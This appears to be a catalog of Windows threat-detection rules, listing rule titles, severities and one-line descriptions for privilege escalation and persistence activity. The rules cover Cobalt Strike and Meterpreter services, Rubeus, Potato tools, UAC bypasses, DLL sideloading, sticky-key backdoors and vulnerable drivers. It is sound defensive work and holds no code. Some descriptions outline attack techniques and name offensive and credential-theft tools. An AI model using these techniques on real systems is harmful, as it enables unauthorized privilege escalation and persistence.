Meterpreter or Cobalt Strike Getsystem Service Installation - Security	high	Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation
Register new Logon Process by Rubeus	high	Detects potential use of Rubeus via registered new trusted logon process
Service Registry Key Read Access Request	low	Detects "read access" requests on the services registry key. Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.
SCM Database Privileged Operation	medium	Detects non-system users performing privileged operation os the SCM database
Service Installed By Unusual Client - Security	high	Detects a service installed by a client which has PID 0 or whose parent has PID 0
Win Susp Computer Name Containing Samtheadmin	critical	Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool
Addition of SID History to Active Directory Object	medium	An attacker can use the SID history attribute to gain additional privileges.
Account Tampering - Suspicious Failed Logon Reasons	medium	This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.
Group Policy Abuse for Privilege Addition	medium	Detects the first occurrence of a modification to Group Policy Object Attributes to add privileges to user accounts or use them to add users as local admins.
Startup/Logon Script Added to Group Policy Object	medium	Detects the modification of Group Policy Objects (GPO) to add a startup/logon script to users or computer objects.
Suspicious Scheduled Task Creation	high	Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.
Important Scheduled Task Deleted/Disabled	high	Detects when adversaries stop services or processes by deleting or disabling their respective scheduled tasks in order to conduct data destructive activities
Suspicious Scheduled Task Update	high	Detects update to a scheduled task event that contain suspicious keywords.
User Added to Local Administrator Group	medium	Detects the addition of a new member to the local administrator group, which could be legitimate activity or a sign of privilege escalation activity
User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess'	high	The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.
WMI Persistence - Security	medium	Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.
DiagTrackEoP Default Login Username	critical	Detects the default "UserName" used by the DiagTrackEoP POC
Potential Access Token Abuse	medium	Detects potential token impersonation and theft. Example, when using "DuplicateToken(Ex)" and "ImpersonateLoggedOnUser" with the "LOGON32_LOGON_NEW_CREDENTIALS flag".
Potential Privilege Escalation via Local Kerberos Relay over LDAP	high	Detects a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, and the target user SID is the built-in local Administrator account. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined limited user to local System privileges.
RottenPotato Like Attack Pattern	high	Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like
KDC RC4-HMAC Downgrade CVE-2022-37966	high	Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation
Certificate Use With No Strong Mapping	medium	Detects a user certificate that was valid but could not be mapped to a user in a strong way (such as via explicit mapping, key trust mapping, or a SID) This could be a sign of exploitation of the elevation of privilege vulnerabilities (CVE-2022-34691, CVE-2022-26931, CVE-2022-26923) that can occur when the KDC allows certificate spoofing by not requiring a strong mapping. Events where the AccountName and CN of the Subject do not match, or where the CN ends in a dollar sign indicating a machine, may indicate certificate spoofing.
Vulnerable Netlogon Secure Channel Connection Allowed	high	Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.
CobaltStrike Service Installations - System	critical	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement
KrbRelayUp Service Installation	high	Detects service creation from KrbRelayUp tool used for privilege escalation in Windows domain environments where LDAP signing is not enforced (the default settings)
Meterpreter or Cobalt Strike Getsystem Service Installation - System	high	Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation
Moriya Rootkit - System	critical	Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report
New PDQDeploy Service - Server Side	medium	Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines. PDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines
New PDQDeploy Service - Client Side	medium	Detects PDQDeploy service installation on the target system. When a package is deployed via PDQDeploy it installs a remote service on the target machine with the name "PDQDeployRunner-X" where "X" is an integer starting from 1
ProcessHacker Privilege Elevation	high	Detects a ProcessHacker tool that elevated privileges to a very high level
Sliver C2 Default Service Installation	high	Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands
Service Installed By Unusual Client - System	high	Detects a service installed by a client which has PID 0 or whose parent has PID 0
Suspicious Service Installation	high	Detects suspicious service installation commands
Uncommon Service Installation Image Path	medium	Detects uncommon service installation commands by looking at suspicious or uncommon image path values containing references to encoded powershell commands, temporary paths, etc.
Service Installation in Suspicious Folder	medium	Detects service installation in suspicious folder appdata
Service Installation with Suspicious Folder Pattern	high	Detects service installation with suspicious folder patterns
Suspicious Service Installation Script	high	Detects suspicious service installation scripts
WMI Persistence	medium	Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.
Rare Remote Thread Creation By Uncommon Source Image	high	Detects uncommon processes creating remote threads.
Remote Thread Creation By Uncommon Source Image	medium	Detects uncommon processes creating remote threads.
Remote Thread Creation In Uncommon Target Image	medium	Detects uncommon target processes for remote thread creation
Malicious Driver Load	high	Detects loading of known malicious drivers via their hash.
PUA - System Informer Driver Load	medium	Detects driver load of the System Informer tool
Malicious Driver Load By Name	medium	Detects loading of known malicious drivers via the file name of the drivers.
Driver Load From A Temporary Directory	high	Detects a driver load from a temporary directory
PUA - Process Hacker Driver Load	high	Detects driver load of the Process Hacker tool
Vulnerable Driver Load By Name	low	Detects the load of known vulnerable drivers via the file name of the drivers.
Vulnerable HackSys Extreme Vulnerable Driver Load	high	Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors
Vulnerable WinRing0 Driver Load	high	Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation
Vulnerable Driver Load	high	Detects loading of known vulnerable drivers via their hash.
Potential PrintNightmare Exploitation Attempt	high	Detect DLL deletions from Spooler Service driver folder. This might be a potential exploitation attempt of CVE-2021-1675
Creation Of Non-Existent System DLL	medium	Detects the creation of system DLLs that are usually not present on the system (or at least not in system directories). Usually this technique is used to achieve DLL hijacking.
DLL Search Order Hijackig Via Additional Space in Path	high	Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...) but with a space in order to trick DLL load search order and perform a "DLL Search Order Hijacking" attack
HackTool - Powerup Write Hijack DLL	high	Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation. In it's default mode, it builds a self deleting .bat file which executes malicious command. The detection rule relies on creation of the malicious bat file (debug.bat by default).
Malicious DLL File Dropped in the Teams or OneDrive Folder	high	Detects creation of a malicious DLL file in the location where the OneDrive or Team applications Upon execution of the Teams or OneDrive application, the dropped malicious DLL file ("iphlpapi.dll") is sideloaded
PowerShell Profile Modification	medium	Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence
VsCode Powershell Profile Modification	medium	Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence
LiveKD Kernel Memory Dump File Created	high	Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.
LiveKD Driver Creation	medium	Detects the creation of the LiveKD driver, which is used for live kernel debugging
LiveKD Driver Creation By Uncommon Process	high	Detects the creation of the LiveKD driver by a process image other than "livekd.exe".
Process Explorer Driver Creation By Non-Sysinternals Binary	high	Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself. Hack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards.
Process Monitor Driver Creation By Non-Sysinternals Binary	medium	Detects creation of the Process Monitor driver by processes other than Process Monitor (procmon) itself.
PSEXEC Remote Execution File Artefact	high	Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system
Potential Privilege Escalation Attempt Via .Exe.Local Technique	high	Detects potential privilege escalation attempt via the creation of the "*.Exe.Local" folder inside the "System32" directory in order to sideload "comctl32.dll"
UAC Bypass Using Consent and Comctl32 - File	high	Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)
UAC Bypass Using .NET Code Profiler on MMC	high	Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)
UAC Bypass Using EventVwr	high	Detects the pattern of a UAC bypass using Windows Event Viewer
UAC Bypass Using IDiagnostic Profile - File	high	Detects the creation of a file by "dllhost.exe" in System32 directory part of "IDiagnosticProfileUAC" UAC bypass technique
UAC Bypass Using IEInstal - File	high	Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)
UAC Bypass Using MSConfig Token Modification - File	high	Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)
UAC Bypass Using NTFS Reparse Point - File	high	Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)
UAC Bypass Abusing Winsat Path Parsing - File	high	Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)
UAC Bypass Using Windows Media Player - File	high	Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)
Potential Azure Browser SSO Abuse	low	Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser. An attacker can use this to authenticate to Azure AD in a browser as that user.
WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load	medium	Detects signs of the WMI script host process "scrcons.exe" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity.
Potential 7za.DLL Sideloading	low	Detects potential DLL sideloading of "7za.dll"
Potential Antivirus Software DLL Sideloading	medium	Detects potential DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc
Potential appverifUI.DLL Sideloading	high	Detects potential DLL sideloading of "appverifUI.dll"
Aruba Network Service Potential DLL Sideloading	high	Detects potential DLL sideloading activity via the Aruba Networks Virtual Intranet Access "arubanetsvc.exe" process using DLL Search Order Hijacking
Potential AVKkid.DLL Sideloading	medium	Detects potential DLL sideloading of "AVKkid.dll"
Potential CCleanerDU.DLL Sideloading	medium	Detects potential DLL sideloading of "CCleanerDU.dll"
Potential CCleanerReactivator.DLL Sideloading	medium	Detects potential DLL sideloading of "CCleanerReactivator.dll"
Potential Chrome Frame Helper DLL Sideloading	medium	Detects potential DLL sideloading of "chrome_frame_helper.dll"
Potential DLL Sideloading Via ClassicExplorer32.dll	medium	Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software
Potential DLL Sideloading Via comctl32.dll	high	Detects potential DLL sideloading using comctl32.dll to obtain system privileges
Potential DLL Sideloading Of DBGCORE.DLL	medium	Detects DLL sideloading of "dbgcore.dll"
Potential DLL Sideloading Of DBGHELP.DLL	medium	Detects potential DLL sideloading of "dbghelp.dll"
Potential EACore.DLL Sideloading	high	Detects potential DLL sideloading of "EACore.dll"
Potential Edputil.DLL Sideloading	high	Detects potential DLL sideloading of "edputil.dll"
Potential System DLL Sideloading From Non System Locations	high	Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.).
Potential Goopdate.DLL Sideloading	medium	Detects potential DLL sideloading of "goopdate.dll", a DLL used by googleupdate.exe
Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE	medium	Detects potential DLL sideloading of "libcurl.dll" by the "gup.exe" process from an uncommon location
Potential Iviewers.DLL Sideloading	high	Detects potential DLL sideloading of "iviewers.dll" (OLE/COM Object Interface Viewer)
Potential DLL Sideloading Via JsSchHlp	medium	Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor
Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE	high	Detects potential DLL side loading of "KeyScramblerIE.dll" by "KeyScrambler.exe". Various threat actors and malware have been found side loading a masqueraded "KeyScramblerIE.dll" through "KeyScrambler.exe".
Potential Libvlc.DLL Sideloading	medium	Detects potential DLL sideloading of "libvlc.dll", a DLL that is legitimately used by "VLC.exe"
Potential Mfdetours.DLL Sideloading	medium	Detects potential DLL sideloading of "mfdetours.dll". While using "mftrace.exe" it can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.
Unsigned Mfdetours.DLL Sideloading	high	Detects DLL sideloading of unsigned "mfdetours.dll". Executing "mftrace.exe" can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.
Potential DLL Sideloading Of Non-Existent DLLs From System Folders	high	Detects DLL sideloading of system DLLs that are not present on the system by default (at least not in system directories). Usually this technique is used to achieve UAC bypass or privilege escalation.
Microsoft Office DLL Sideload	high	Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location
Potential Rcdll.DLL Sideloading	high	Detects potential DLL sideloading of rcdll.dll
Potential RjvPlatform.DLL Sideloading From Default Location	medium	Detects loading of "RjvPlatform.dll" by the "SystemResetPlatform.exe" binary which can be abused as a method of DLL side loading since the "$SysReset" directory isn't created by default.
Potential RjvPlatform.DLL Sideloading From Non-Default Location	high	Detects potential DLL sideloading of "RjvPlatform.dll" by "SystemResetPlatform.exe" located in a non-default location.
Potential RoboForm.DLL Sideloading	medium	Detects potential DLL sideloading of "roboform.dll", a DLL used by RoboForm Password Manager
Potential ShellDispatch.DLL Sideloading	medium	Detects potential DLL sideloading of "ShellDispatch.dll"
DLL Sideloading Of ShellChromeAPI.DLL	high	Detects processes loading the non-existent DLL "ShellChromeAPI". One known example is the "DeviceEnroller" binary in combination with the "PhoneDeepLink" flag tries to load this DLL. Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter
Potential SmadHook.DLL Sideloading	high	Detects potential DLL sideloading of "SmadHook.dll", a DLL used by SmadAV antivirus
Potential SolidPDFCreator.DLL Sideloading	medium	Detects potential DLL sideloading of "SolidPDFCreator.dll"
Third Party Software DLL Sideloading	medium	Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)
Potential Vivaldi_elf.DLL Sideloading	medium	Detects potential DLL sideloading of "vivaldi_elf.dll"
VMGuestLib DLL Sideload	medium	Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service.
VMMap Signed Dbghelp.DLL Potential Sideloading	medium	Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap.
VMMap Unsigned Dbghelp.DLL Potential Sideloading	high	Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMap.
Potential Waveedit.DLL Sideloading	high	Detects potential DLL sideloading of "waveedit.dll", which is part of the Nero WaveEditor audio editing software.
Potential Wazuh Security Platform DLL Sideloading	medium	Detects potential DLL side loading of DLLs that are part of the Wazuh security platform
Potential WWlib.DLL Sideloading	medium	Detects potential DLL sideloading of "wwlib.dll"
Windows Spooler Service Suspicious Binary Load	informational	Detect DLL Load from Spooler Service backup folder
DotNet CLR DLL Loaded By Scripting Applications	high	Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.
UAC Bypass Using Iscsicpl - ImageLoad	high	Detects the "iscsicpl.exe" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%
UAC Bypass With Fake DLL	high	Attempts to load dismcore.dll after dropping it
CobaltStrike Named Pipe	critical	Detects the creation of a named pipe as used by CobaltStrike
CobaltStrike Named Pipe Pattern Regex	critical	Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles
CobaltStrike Named Pipe Patterns	high	Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles
HackTool - CoercedPotato Named Pipe Creation	high	Detects the pattern of a pipe name as used by the hack tool CoercedPotato
HackTool - EfsPotato Named Pipe Creation	high	Detects the pattern of a pipe name as used by the hack tool EfsPotato
HackTool - DiagTrackEoP Default Named Pipe	critical	Detects creation of default named pipe used by the DiagTrackEoP POC, a tool that abuses "SeImpersonate" privilege.
HackTool - Koh Default Named Pipe	critical	Detects creation of default named pipes used by the Koh tool
Malicious Named Pipe Created	critical	Detects the creation of a named pipe seen used by known APTs or malware.
HackTool - WinPwn Execution - ScriptBlock	high	Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.
Modify Group Policy Settings - ScriptBlockLogging	medium	Detect malicious GPO modifications can be used to implement many other malicious behaviors.
PowerShell ShellCode	high	Detects Base64 encoded Shellcode
Potential Persistence Via Security Descriptors - ScriptBlock	high	Detects usage of certain functions and keywords that are used to manipulate security descriptors in order to potentially set a backdoor. As seen used in the DAMP project.
Suspicious GetTypeFromCLSID ShellExecute	medium	Detects suspicious Powershell code that execute COM Objects
Suspicious Service DACL Modification Via Set-Service Cmdlet - PS	high	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)
Potential Persistence Via PowerShell User Profile Using Add-Content	medium	Detects calls to "Add-Content" cmdlet in order to modify the content of the user profile and potentially adding suspicious commands for persistence
Abuse of Service Permissions to Hide Services Via Set-Service - PS	high	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)
Powershell WMI Persistence	medium	Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.
Uncommon Process Access Rights For Target Image	low	Detects process access request to uncommon target images with a "PROCESS_ALL_ACCESS" access mask.
Function Call From Undocumented COM Interface EditionUpgradeManager	medium	Detects function calls from the EditionUpgradeManager COM interface. Which is an interface that is not used by standard executables.
UAC Bypass Using WOW64 Logger DLL Hijack	high	Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)
Interactive AT Job	high	Detects an interactive AT job, which may be used as a form of privilege escalation.
Potential Privilege Escalation Using Symlink Between Osk and Cmd	high	Detects the creation of a symbolic link between "cmd.exe" and the accessibility on-screen keyboard binary (osk.exe) using "mklink". This technique provides an elevated command prompt to the user from the login screen without the need to log in.
Persistence Via Sticky Key Backdoor	critical	By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system. When the sticky keys are "activated" the privilleged shell is launched.
Sticky Key Like Backdoor Execution	critical	Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen
Potentially Suspicious Event Viewer Child Process	high	Detects uncommon or suspicious child processes of "eventvwr.exe" which might indicate a UAC bypass attempt
HackTool - CoercedPotato Execution	high	Detects the use of CoercedPotato, a tool for privilege escalation
HackTool - CrackMapExec Execution	high	This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.
HackTool - Empire PowerShell UAC Bypass	critical	Detects some Empire PowerShell UAC bypass methods
HackTool - Impersonate Execution	medium	Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively
HackTool - LocalPotato Execution	high	Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples
Potential Meterpreter/CobaltStrike Activity	high	Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting
HackTool - Default PowerSploit/Empire Scheduled Task Creation	high	Detects the creation of a schtask via PowerSploit or Empire Default Configuration.
HackTool - SharpUp PrivEsc Tool Execution	critical	Detects the use of SharpUp, a tool for local privilege escalation
HackTool - SharpImpersonation Execution	high	Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively
HackTool - SharpDPAPI Execution	high	Detects the execution of the SharpDPAPI tool based on CommandLine flags and PE metadata. SharpDPAPI is a C# port of some DPAPI functionality from the Mimikatz project.
HackTool - SysmonEOP Execution	critical	Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120
HackTool - UACMe Akagi Execution	high	Detects the execution of UACMe, a tool used for UAC bypasses, via default PE metadata
HackTool - winPEAS Execution	high	WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz
HackTool - WinPwn Execution	high	Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.
Suspicious Shells Spawn by Java Utility Keytool	high	Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)
Suspicious Processes Spawned by Java.EXE	high	Detects suspicious processes spawned from a Java host process which could indicate a sign of exploitation (e.g. log4j)
Shell Process Spawned by Java.EXE	medium	Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)
Windows Kernel Debugger Execution	medium	Detects execution of the Windows Kernel Debugger "kd.exe".
Potentially Suspicious Child Process of KeyScrambler.exe	medium	Detects potentially suspicious child processes of KeyScrambler.exe
Mavinject Inject DLL Into Running Process	high	Detects process injection using the signed Windows tool "Mavinject" via the "INJECTRUNNING" flag
Suspicious Child Process Of SQL Server	high	Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.
Suspicious Child Process Of Veeam Dabatase	critical	Detects suspicious child processes of the Veeam service process. This could indicate potential RCE or SQL Injection.
Potential Persistence Via Netsh Helper DLL	medium	Detects the execution of netsh with "add helper" flag in order to add a custom helper DLL. This technique can be abused to add a malicious helper DLL that can be used as a persistence proxy that gets called when netsh.exe is executed.
Password Provided In Command Line Of Net.EXE	medium	Detects a when net.exe is called with a password in the command line
New Service Creation Using PowerShell	low	Detects the creation of a new service using powershell.
Abuse of Service Permissions to Hide Services Via Set-Service	high	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)
PUA - AdvancedRun Execution	medium	Detects the execution of AdvancedRun utility
PUA - AdvancedRun Suspicious Execution	high	Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts
PUA - Process Hacker Execution	medium	Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors abused older vulnerable versions to manipulate system processes.
PUA - System Informer Execution	medium	Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations
PUA - Wsudo Suspicious Execution	high	Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc)
Regedit as Trusted Installer	high	Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe
Suspicious Debugger Registration Cmdline	high	Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).
Potential Privilege Escalation via Service Permissions Weakness	high	Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level
Modify Group Policy Settings	medium	Detect malicious GPO modifications can be used to implement many other malicious behaviors.
Suspicious ScreenSave Change by Reg.exe	medium	Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension
Renamed Mavinject.EXE Execution	high	Detects the execution of a renamed version of the "Mavinject" process. Which can be abused to perform process injection using the "/INJECTRUNNING" flag
Suspicious NTLM Authentication on the Printer Spooler Service	high	Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service
Rundll32 Registered COM Objects	high	load malicious registered COM objects
Scheduled Task Creation Via Schtasks.EXE	low	Detects the creation of scheduled tasks by user accounts via the "schtasks" utility.
Uncommon One Time Only Scheduled Task At 00:00	high	Detects scheduled task creation events that include suspicious actions, and is run once at 00:00
Possible Privilege Escalation via Weak Service Permissions	high	Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand
New Service Creation Using Sc.EXE	low	Detects the creation of a new service using the "sc.exe" utility.
New Kernel Driver Via SC.EXE	medium	Detects creation of a new service (kernel driver) with the type "kernel"
Service DACL Abuse To Hide Services Via Sc.EXE	high	Detects usage of the "sc.exe" utility adding a new service with special permission seen used by threat actors which makes the service hidden and unremovable.
Service Security Descriptor Tampering Via Sc.EXE	medium	Detection of sc.exe utility adding a new service with special permission which hides that service.
Suspicious Service Path Modification	high	Detects service path modification via the "sc" binary to a suspicious command or path
Potential Shim Database Persistence via Sdbinst.EXE	medium	Detects installation of a new shim using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims
Uncommon Extension Shim Database Installation Via Sdbinst.EXE	medium	Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims
Sdclt Child Processes	medium	A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.
Potential Suspicious Activity Using SeCEdit	medium	Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy
Suspicious Spool Service Child Process	high	Detects suspicious print spool service (spoolsv.exe) child processes.
Abused Debug Privilege by Arbitrary Parent Processes	high	Detection of unusual child processes by different system processes
Always Install Elevated Windows Installer	medium	Detects Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege
Suspicious Child Process Created as System	high	Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts
Always Install Elevated MSI Spawned Cmd And Powershell	medium	Detects Windows Installer service (msiexec.exe) spawning "cmd" or "powershell"
Elevated System Shell Spawned From Uncommon Parent Location	medium	Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges from a uncommon parent location.
Suspicious RunAs-Like Flag Combination	medium	Detects suspicious command line flags that let the user set a target user and command as e.g. seen in PsExec-like tools
Suspicious New Service Creation	high	Detects creation of a new service via "sc" command or the powershell "new-service" cmdlet with suspicious binary paths
Suspicious SYSTEM User Process Creation	high	Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)
Process Creation Using Sysnative Folder	medium	Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)
Suspect Svchost Activity	high	It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.
Bypass UAC via CMSTP	high	Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files
UAC Bypass Using Disk Cleanup	high	Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)
UAC Bypass Using ChangePK and SLUI	high	Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)
CMSTP UAC Bypass via COM Object Access	high	Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)
UAC Bypass Tools Using ComputerDefaults	high	Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)
UAC Bypass Using Consent and Comctl32 - Process	high	Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)
UAC Bypass Using DismHost	high	Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)
Bypass UAC via Fodhelper.exe	high	Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.
UAC Bypass Using Event Viewer RecentViews	high	Detects the pattern of UAC Bypass using Event Viewer RecentViews
UAC Bypass Using NTFS Reparse Point - Process	high	Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)
UAC Bypass via ICMLuaUtil	high	Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface
UAC Bypass Using IDiagnostic Profile	high	Detects the "IDiagnosticProfileUAC" UAC bypass technique
UAC Bypass Using IEInstal - Process	high	Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)
UAC Bypass via Windows Firewall Snap-In Hijack	medium	Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in
UAC Bypass Using MSConfig Token Modification - Process	high	Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)
UAC Bypass Using PkgMgr and DISM	high	Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)
Potential UAC Bypass Via Sdclt.EXE	medium	A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.
UAC Bypass Abusing Winsat Path Parsing - Process	high	Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)
UAC Bypass Using Windows Media Player - Process	high	Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)
Bypass UAC via WSReset.exe	high	Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.
UAC Bypass WSReset	high	Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config
Suspicious Child Process Of Wermgr.EXE	high	Detects suspicious Windows Error Reporting manager (wermgr.exe) child process
Whoami.EXE Execution From Privileged Process	high	Detects the execution of "whoami.exe" by privileged accounts that are often abused by threat actors
Security Privileges Enumeration Via Whoami.EXE	high	Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.
Suspicious Processes Spawned by WinRM	high	Detects suspicious processes including shells spawnd from WinRM host process
WMI Persistence - Script Event Consumer	medium	Detects WMI script event consumers
Potential Process Hollowing Activity	medium	Detects when a memory process image does not match the disk image, indicative of process hollowing.
UAC Bypass Via Wsreset	high	Unfixed method for UAC bypass from Windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.
Path To Screensaver Binary Modified	medium	Detects value modification of registry key containing path to binary used as screensaver.
